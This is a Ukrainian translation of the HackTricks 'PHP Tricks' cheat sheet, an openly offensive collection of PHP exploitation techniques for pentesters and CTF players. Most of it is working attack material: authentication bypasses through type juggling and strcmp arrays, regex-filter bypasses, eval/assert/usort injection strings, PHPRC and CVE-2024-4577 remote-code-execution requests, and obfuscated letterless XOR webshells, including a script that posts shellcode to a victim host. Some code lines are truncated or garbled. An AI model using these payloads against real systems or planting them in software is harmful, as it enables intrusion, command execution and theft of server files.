PHP Tricks
Reading time: 17 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Загальне місцезнаходження куків:
Це також стосується куків phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Локації:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Обхід порівнянь PHP
Слабкі порівняння/Перетворення типів ( == )
Якщо в PHP використовується ==
, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип; якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати ===
.
Таблиці порівняння PHP: https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
Рядок, який не починається з числа, дорівнює числу"0xAAAA" == "43690" -> True
Рядки, що складаються з чисел у десятковому або шістнадцятковому форматі, можуть бути порівняні з іншими числами/рядками з результатом True, якщо числа були однаковими (числа в рядку інтерпретуються як числа)"0e3264578" == 0 --> True
Рядок, що починається з "0e" і за яким слідує будь-що, буде дорівнювати 0"0X3264578" == 0X --> True
Рядок, що починається з "0" і за яким слідує будь-яка літера (X може бути будь-якою літерою) і за яким слідує будь-що, буде дорівнювати 0"0e12334" == "0" --> True
Це дуже цікаво, оскільки в деяких випадках ви можете контролювати вхідний рядок "0" і деякий вміст, який хешується і порівнюється з ним. Тому, якщо ви можете надати значення, яке створить хеш, що починається з "0e" і без будь-якої літери, ви могли б обійти порівняння. Ви можете знайти вже захешовані рядки з цим форматом тут: https://github.com/spaze/hashes"X" == 0 --> True
Будь-яка літера в рядку дорівнює int 0
Більше інформації в https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Перетворення типів також впливає на функцію in_array()
за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Якщо ця функція використовується для будь-якої перевірки автентифікації (наприклад, перевірка пароля) і користувач контролює одну сторону порівняння, він може надіслати порожній масив замість рядка як значення пароля (https://example.com/login.php/?username=admin&password[]=
) і обійти цю перевірку:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Та ж помилка виникає з strcasecmp()
Жорстке приведення типів
Навіть якщо ===
використовується, можуть виникати помилки, які роблять порівняння вразливим до приведення типів. Наприклад, якщо порівняння перетворює дані в інший тип об'єкта перед порівнянням:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
може бути використаний для перевірки введення користувача (він перевіряє, чи є будь-яке слово/регулярний вираз з чорного списку присутнім у введенні користувача, і якщо його немає, код може продовжити своє виконання).
Обхід нового рядка
Однак, при обмеженні початку регулярного виразу preg_match()
перевіряє лише перший рядок введення користувача, тому, якщо якимось чином ви зможете надіслати введення в кількох рядках, ви зможете обійти цю перевірку. Приклад:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Щоб обійти цю перевірку, ви можете надіслати значення з новими рядками, закодованими в URL (%0A
), або якщо ви можете надіслати JSON-дані, надішліть їх у кількох рядках:
{
"cmd": "cat /etc/passwd"
}
Знайдіть приклад тут: https://ramadistra.dev/fbctf-2019-rceservice
Обхід помилки довжини
(Цей обхід, очевидно, був спробований на PHP 5.2.5, і мені не вдалося змусити його працювати на PHP 7.3.15)
Якщо ви зможете надіслати preg_match()
дійсний дуже великий вхід, він не зможе його обробити і ви зможете обійти перевірку. Наприклад, якщо він блокує JSON, ви можете надіслати:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Від: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Обхід ReDoS
Трюк з: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 та https://mizu.re/post/pong
.png)
Коротко кажучи, проблема виникає через те, що функції preg_*
у PHP базуються на PCRE бібліотеці. У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження за замовчуванням становить 100.000, що більше, ніж вміщується в стек.
Ця тема на Stackoverflow також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:
Надіслати вхідні дані, які змусили б regex виконати 100_000+ рекурсій, викликавши SIGSEGV, змусивши функцію preg_match()
повернути false
, таким чином змусивши додаток думати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт {system(<verybadcommand>)}
для отримання SSTI --> RCE --> flag :).
Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього рахуємо "кроки назад", які, як зазначає документація PHP, за замовчуванням становлять 1_000_000 (1M) у змінній pcre.backtrack_limit
.\
Щоб досягти цього, 'X'*500_001
призведе до 1 мільйона кроків назад (500k вперед і 500k назад):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Типове перетворення для обфускації PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Якщо PHP перенаправляє на іншу сторінку, але жодна функція die
або exit
не викликається після того, як заголовок Location
встановлено, PHP продовжує виконання та додає дані до тіла:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Check:
More tricks
- register_globals: У PHP < 4.1.1.1 або якщо неправильно налаштовано, register_globals може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $_GET, якщо вони мають значення, наприклад, $_GET["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні**, які використовуються в коді.
- PHPSESSION cookies одного домену зберігаються в одному місці, тому якщо в межах домену використовуються різні cookies в різних шляхах, ви можете зробити так, щоб шлях отримував доступ до cookie іншого шляху, встановивши значення cookie іншого шляху.
Цим способом, якщо обидва шляхи отримують доступ до змінної з однаковим ім'ям, ви можете зробити так, щоб значення цієї змінної в path1 застосовувалося до path2. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2). - Коли у вас є імена користувачів користувачів машини. Перевірте адресу: /~<USERNAME>, щоб дізнатися, чи активовані php каталоги.
- Якщо конфігурація php має
register_argc_argv = On
, то параметри запиту, розділені пробілами, використовуються для заповнення масиву аргументівarray_keys($_SERVER['argv'])
так, ніби це аргументи з CLI. Це цікаво, тому що якщо ця налаштування вимкнено, значення масиву args будеNull
при виклику з вебу, оскільки масив ars не буде заповнений. Тому, якщо веб-сторінка намагається перевірити, чи вона працює як веб-інструмент або як CLI-інструмент з порівнянням, наприклад,if (empty($_SERVER['argv'])) {
, зловмисник може надіслати параметри в GET запиті, такі як?--configPath=/lalala
, і вона подумає, що працює як CLI, і потенційно розпарсить і використає ці аргументи. Більше інформації в оригінальному описі. - LFI and RCE using php wrappers
password_hash/password_verify
Ці функції зазвичай використовуються в PHP для генерації хешів з паролів та для перевірки, чи правильний пароль у порівнянні з хешем.
Підтримувані алгоритми: PASSWORD_DEFAULT
та PASSWORD_BCRYPT
(починається з $2y$
). Зверніть увагу, що PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT. І наразі PASSWORD_BCRYPT має обмеження за розміром на вхідні дані в 72 байти. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP заголовки обхід зловживанням помилками PHP
Виклик помилки після встановлення заголовків
З цього треду в твіттері ви можете побачити, що надсилаючи більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.
Це дозволяє обійти, наприклад, заголовки CSP, які встановлюються в кодах, таких як:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Заповнення тіла перед встановленням заголовків
Якщо PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем, користувач може змусити PHP-сервер вивести деякий контент, достатньо великий, щоб коли він намагатиметься додати заголовки до відповіді, сервер видасть помилку.
У наступному сценарії зловмисник змусив сервер вивести великі помилки, і, як ви можете бачити на екрані, коли PHP намагався змінити інформацію заголовка, він не зміг (тому, наприклад, заголовок CSP не був надісланий користувачу):
SSRF у функціях PHP
Перевірте сторінку:
Виконання коду
system("ls");
`ls`;
shell_exec("ls");
Перевірте це для більш корисних функцій PHP
RCE через preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Щоб виконати код у аргументі "replace", потрібне принаймні одне співпадіння.
Ця опція preg_replace була застарілою починаючи з PHP 5.5.0.
RCE через Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE через Assert()
Ця функція в php дозволяє вам виконувати код, написаний у рядку, щоб повернути true або false (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад:
assert("strpos($_GET['page']),'..') === false")
--> У цьому випадку, щоб отримати RCE, ви могли б зробити:
?page=a','NeVeR') === false and system('ls') and strpos('a
Вам потрібно зламати синтаксис коду, додати ваш payload, а потім виправити його знову. Ви можете використовувати логічні операції такі як "and" або "%26%26" або "|". Зверніть увагу, що "or", "||" не працює, оскільки якщо перша умова істинна, наш payload не буде виконано. Так само ";" не працює, оскільки наш payload не буде виконано.
Інша опція - додати до рядка виконання команди: '.highlight_file('.passwd').'
Інша опція (якщо у вас є внутрішній код) - змінити деяку змінну, щоб змінити виконання: $file = "hola"
RCE через usort()
Ця функція використовується для сортування масиву елементів за допомогою конкретної функції.
Щоб зловживати цією функцією:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Ви також можете використовувати // для коментування решти коду.
Щоб виявити кількість дужок, які потрібно закрити:
?order=id;}//
: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ';'
). Можливо, нам не вистачає однієї або кількох дужок.?order=id);}//
: ми отримуємо попередження. Це, здається, правильно.?order=id));}//
: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ')' i
). Можливо, у нас занадто багато закриваючих дужок.
RCE через .httaccess
Якщо ви можете завантажити .htaccess, то ви можете налаштувати кілька речей і навіть виконати код (налаштувавши, щоб файли з розширенням .htaccess могли бути виконані).
Різні оболонки .htaccess можна знайти тут
RCE через змінні середовища
Якщо ви знайдете вразливість, яка дозволяє вам модифікувати змінні середовища в PHP (і ще одну для завантаження файлів, хоча з більшою дослідженням це може бути обійдено), ви могли б зловживати цією поведінкою, щоб отримати RCE.
LD_PRELOAD
: Ця змінна середовища дозволяє вам завантажувати довільні бібліотеки під час виконання інших бінарних файлів (хоча в цьому випадку це може не спрацювати).PHPRC
: Вказує PHP, де знайти свій конфігураційний файл, зазвичай називаєтьсяphp.ini
. Якщо ви можете завантажити свій власний конфігураційний файл, то використовуйтеPHPRC
, щоб вказати PHP на нього. Додайте записauto_prepend_file
, що вказує на другий завантажений файл. Цей другий файл містить звичайний PHP код, який потім виконується PHP-інтерпретатором перед будь-яким іншим кодом.
- Завантажте PHP файл, що містить наш shellcode
- Завантажте другий файл, що містить директиву
auto_prepend_file
, яка вказує PHP-препроцесору виконати файл, який ми завантажили на етапі 1 - Встановіть змінну
PHPRC
на файл, який ми завантажили на етапі 2.
- Отримайте більше інформації про те, як виконати цей ланцюг з оригінального звіту.
- PHPRC - ще один варіант
- Якщо ви не можете завантажити файли, ви можете використовувати в FreeBSD "файл"
/dev/fd/0
, який міститьstdin
, будучи тілом запиту, надісланого доstdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Або, щоб отримати RCE, увімкніть
allow_url_include
і додайте файл з base64 PHP кодом: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Техніка з цього звіту.
XAMPP CGI RCE - CVE-2024-4577
Веб-сервер обробляє HTTP запити і передає їх PHP скрипту, виконуючи запит, наприклад, http://host/cgi.php?foo=bar
як php.exe cgi.php foo=bar
, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
-d allow_url_include=1 -d auto_prepend_file=php://input
Крім того, можливо ввести параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з цього посту:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
У цьому пості можна знайти чудові ідеї для генерації brain fuck PHP коду з дуже обмеженою кількістю дозволених символів.
Більше того, також пропонується цікавий спосіб виконання функцій, які дозволили обійти кілька перевірок:
(1)->{system($_GET[chr(97)])}
PHP Статичний аналіз
Перевірте, чи можете ви вставити код у виклики цих функцій (з тут):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у /etc/php5/apache2/php.ini
, додавши display_errors = On
, і перезапустити apache: sudo systemctl restart apache2
Деобфускація PHP коду
Ви можете використовувати web www.unphp.net для деобфускації php коду.
PHP обгортки та протоколи
PHP обгортки та протоколи можуть дозволити вам обійти захист на запис і читання в системі та скомпрометувати її. Для додаткової інформації перегляньте цю сторінку.
Xdebug неавтентифікований RCE
Якщо ви бачите, що Xdebug увімкнено в phpconfig()
виводі, вам слід спробувати отримати RCE через https://github.com/nqxcode/xdebug-exploit
Змінні змінних
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE зловживання новим $_GET["a"]($_GET["b"])
Якщо на сторінці ви можете створити новий об'єкт довільного класу, ви можете отримати RCE, перевірте наступну сторінку, щоб дізнатися як:
PHP - RCE abusing object creation: new $_GET"a"
Виконання PHP без літер
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Використання восьмиричного
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR легкий shell код
Згідно з цією статтею можливо згенерувати легкий shellcode таким чином:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Отже, якщо ви можете виконувати довільний PHP без цифр і літер, ви можете надіслати запит, як наведено нижче, зловживаючи цим корисним навантаженням для виконання довільного PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Для більш детального пояснення перегляньте https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (всередині eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl подібний
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.